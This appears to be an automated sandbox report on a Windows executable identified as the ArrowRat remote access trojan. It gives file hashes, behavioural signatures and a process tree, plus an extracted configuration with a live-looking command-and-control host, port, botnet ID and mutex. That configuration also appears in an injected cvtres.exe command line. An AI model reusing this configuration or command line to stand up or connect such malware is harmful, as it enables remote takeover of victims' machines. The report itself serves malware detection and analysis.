Overview

overview

10

Static

static

10

869e6e56d6...fc.exe

windows7-x64

10

869e6e56d6...fc.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-09-2023 02:00

Sharing

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General

  • Target

    869e6e56d6c9849420442213a468c9fc.exe

  • Size

    138KB

  • MD5

    869e6e56d6c9849420442213a468c9fc

  • SHA1

    4f7e64126cd4adf324ee989ffa1efb5870178074

  • SHA256

    9f46555944110c0b982e05620a58e6a3828fa6ad8e8dd8f55894e25150207a5e

  • SHA512

    db12472b8d74c6f0feafc52d0233f725561de54c6d23687f48b5d8a16c211c20f4abf6bc8057246cc048c958f15f921dff664af49e0c9bb18911839a47ac0a85

  • SSDEEP

    3072:Kbvr5mz7Bqh1v59Y08mAjs0Ltel+qOeJHlpV8b+Y/Yd:Kbv9S7BqjjYHdrqkL/

Score
10/10
arrowrat5t74s3persistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

5T74S3

C2

febbit3.ddns.net:1338

Mutex

Y5EJ2C

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\869e6e56d6c9849420442213a468c9fc.exe
    "C:\Users\Admin\AppData\Local\Temp\869e6e56d6c9849420442213a468c9fc.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4596
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 5T74S3 febbit3.ddns.net 1338 Y5EJ2C
      2⤵
        PID:4600
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 2128 -s 920
        2⤵
        • Program crash
        PID:3076
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 432 -p 2128 -ip 2128
      1⤵
        PID:820
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:640
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1216
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1216 -s 3804
          2⤵
          • Program crash
          PID:2804
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 428 -p 1216 -ip 1216
        1⤵
          PID:4912
        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
          1⤵
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4140
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4140 -s 3504
            2⤵
            • Program crash
            PID:1920
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 444 -p 4140 -ip 4140
          1⤵
            PID:3536
          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:2860
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2860 -s 3984
              2⤵
              • Program crash
              PID:4984
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -pss -s 524 -p 2860 -ip 2860
            1⤵
              PID:4948
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:3444
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 3444 -s 3592
                2⤵
                • Program crash
                PID:632
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -pss -s 412 -p 3444 -ip 3444
              1⤵
                PID:4408
              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4416
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 4416 -s 3536
                  2⤵
                  • Program crash
                  PID:5076
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -pss -s 536 -p 4416 -ip 4416
                1⤵
                  PID:3692

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\HU0R1FD6\microsoft.windows[1].xml
                  Filesize

                  97B

                  MD5

                  1cddea8de195f561864aadf671ade9dc

                  SHA1

                  a33d90799da74dd469b907ea47e65361dfdeeb30

                  SHA256

                  47512b6dc68a6d22c8c9745297229a12ba8100ed8465004f535804f3d1a9ff81

                  SHA512

                  cf45a18cc63ea81f953ebd3bdb165e553fec18b8818db54af16e8ee31246540751b974c37116d639560a63e6e0949de8bfe37ea27a2ea13fee9f8caa5415478c

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133388712407531650.txt
                  Filesize

                  75KB

                  MD5

                  acfca62b955f4a76968c3a8d4e9de625

                  SHA1

                  62af8f5b8d1761c535dc6bf45e72ae532b502e0c

                  SHA256

                  ee07972ab3acd4def5e842dab0c8827dd8799faf5f5c80c407718ffe862fef8f

                  SHA512

                  0f7cd9c5e0c607d28178c7ed561ecfdd52930885a4dce552009b932b162ff87d86a242c94469685a476bd0262066a415d13f45ff62f9d5ebd0e8533468e1519b

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133388712407531650.txt
                  Filesize

                  75KB

                  MD5

                  acfca62b955f4a76968c3a8d4e9de625

                  SHA1

                  62af8f5b8d1761c535dc6bf45e72ae532b502e0c

                  SHA256

                  ee07972ab3acd4def5e842dab0c8827dd8799faf5f5c80c407718ffe862fef8f

                  SHA512

                  0f7cd9c5e0c607d28178c7ed561ecfdd52930885a4dce552009b932b162ff87d86a242c94469685a476bd0262066a415d13f45ff62f9d5ebd0e8533468e1519b

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\HU0R1FD6\microsoft.windows[1].xml
                  Filesize

                  97B

                  MD5

                  1cddea8de195f561864aadf671ade9dc

                  SHA1

                  a33d90799da74dd469b907ea47e65361dfdeeb30

                  SHA256

                  47512b6dc68a6d22c8c9745297229a12ba8100ed8465004f535804f3d1a9ff81

                  SHA512

                  cf45a18cc63ea81f953ebd3bdb165e553fec18b8818db54af16e8ee31246540751b974c37116d639560a63e6e0949de8bfe37ea27a2ea13fee9f8caa5415478c

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\HU0R1FD6\microsoft.windows[1].xml
                  Filesize

                  97B

                  MD5

                  1cddea8de195f561864aadf671ade9dc

                  SHA1

                  a33d90799da74dd469b907ea47e65361dfdeeb30

                  SHA256

                  47512b6dc68a6d22c8c9745297229a12ba8100ed8465004f535804f3d1a9ff81

                  SHA512

                  cf45a18cc63ea81f953ebd3bdb165e553fec18b8818db54af16e8ee31246540751b974c37116d639560a63e6e0949de8bfe37ea27a2ea13fee9f8caa5415478c

                  Download Submit

                • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\HU0R1FD6\microsoft.windows[1].xml
                  Filesize

                  97B

                  MD5

                  1cddea8de195f561864aadf671ade9dc

                  SHA1

                  a33d90799da74dd469b907ea47e65361dfdeeb30

                  SHA256

                  47512b6dc68a6d22c8c9745297229a12ba8100ed8465004f535804f3d1a9ff81

                  SHA512

                  cf45a18cc63ea81f953ebd3bdb165e553fec18b8818db54af16e8ee31246540751b974c37116d639560a63e6e0949de8bfe37ea27a2ea13fee9f8caa5415478c

                  Download Submit

                • memory/1216-22-0x000002808DC70000-0x000002808DC90000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/1216-24-0x000002808DC30000-0x000002808DC50000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/1216-27-0x000002808E040000-0x000002808E060000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/2128-7-0x00007FF9BC130000-0x00007FF9BCBF1000-memory.dmp

                  Filesize

                  10.8MB

                  Download

                • memory/2128-2-0x00007FF9BC130000-0x00007FF9BCBF1000-memory.dmp

                  Filesize

                  10.8MB

                  Download

                • memory/2128-0-0x000002DA67E00000-0x000002DA67E28000-memory.dmp

                  Filesize

                  160KB

                  Download

                • memory/2860-82-0x0000024DB5780000-0x0000024DB57A0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/2860-80-0x0000024DB5160000-0x0000024DB5180000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/2860-78-0x0000024DB51A0000-0x0000024DB51C0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3444-100-0x00000277BA740000-0x00000277BA760000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3444-104-0x00000277BAB00000-0x00000277BAB20000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3444-102-0x00000277BA700000-0x00000277BA720000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4140-43-0x000002295A570000-0x000002295A590000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4140-49-0x000002295A940000-0x000002295A960000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4140-46-0x000002295A530000-0x000002295A550000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4416-121-0x000001E643C20000-0x000001E643C40000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4416-127-0x000001E643FF0000-0x000001E644010000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4416-124-0x000001E6439E0000-0x000001E643A00000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/4596-15-0x0000000002B00000-0x0000000002B01000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4600-6-0x0000000005450000-0x0000000005460000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/4600-8-0x0000000005BE0000-0x0000000006184000-memory.dmp

                  Filesize

                  5.6MB

                  Download

                • memory/4600-53-0x0000000074A60000-0x0000000075210000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4600-5-0x00000000052A0000-0x000000000533C000-memory.dmp

                  Filesize

                  624KB

                  Download

                • memory/4600-4-0x0000000005200000-0x0000000005292000-memory.dmp

                  Filesize

                  584KB

                  Download

                • memory/4600-3-0x0000000074A60000-0x0000000075210000-memory.dmp

                  Filesize

                  7.7MB

                  Download

                • memory/4600-1-0x0000000000400000-0x0000000000416000-memory.dmp

                  Filesize

                  88KB

                  Download

                • memory/4600-9-0x0000000005A20000-0x0000000005A86000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/4600-12-0x00000000062E0000-0x0000000006330000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/4600-54-0x0000000005450000-0x0000000005460000-memory.dmp

                  Filesize

                  64KB

                  Download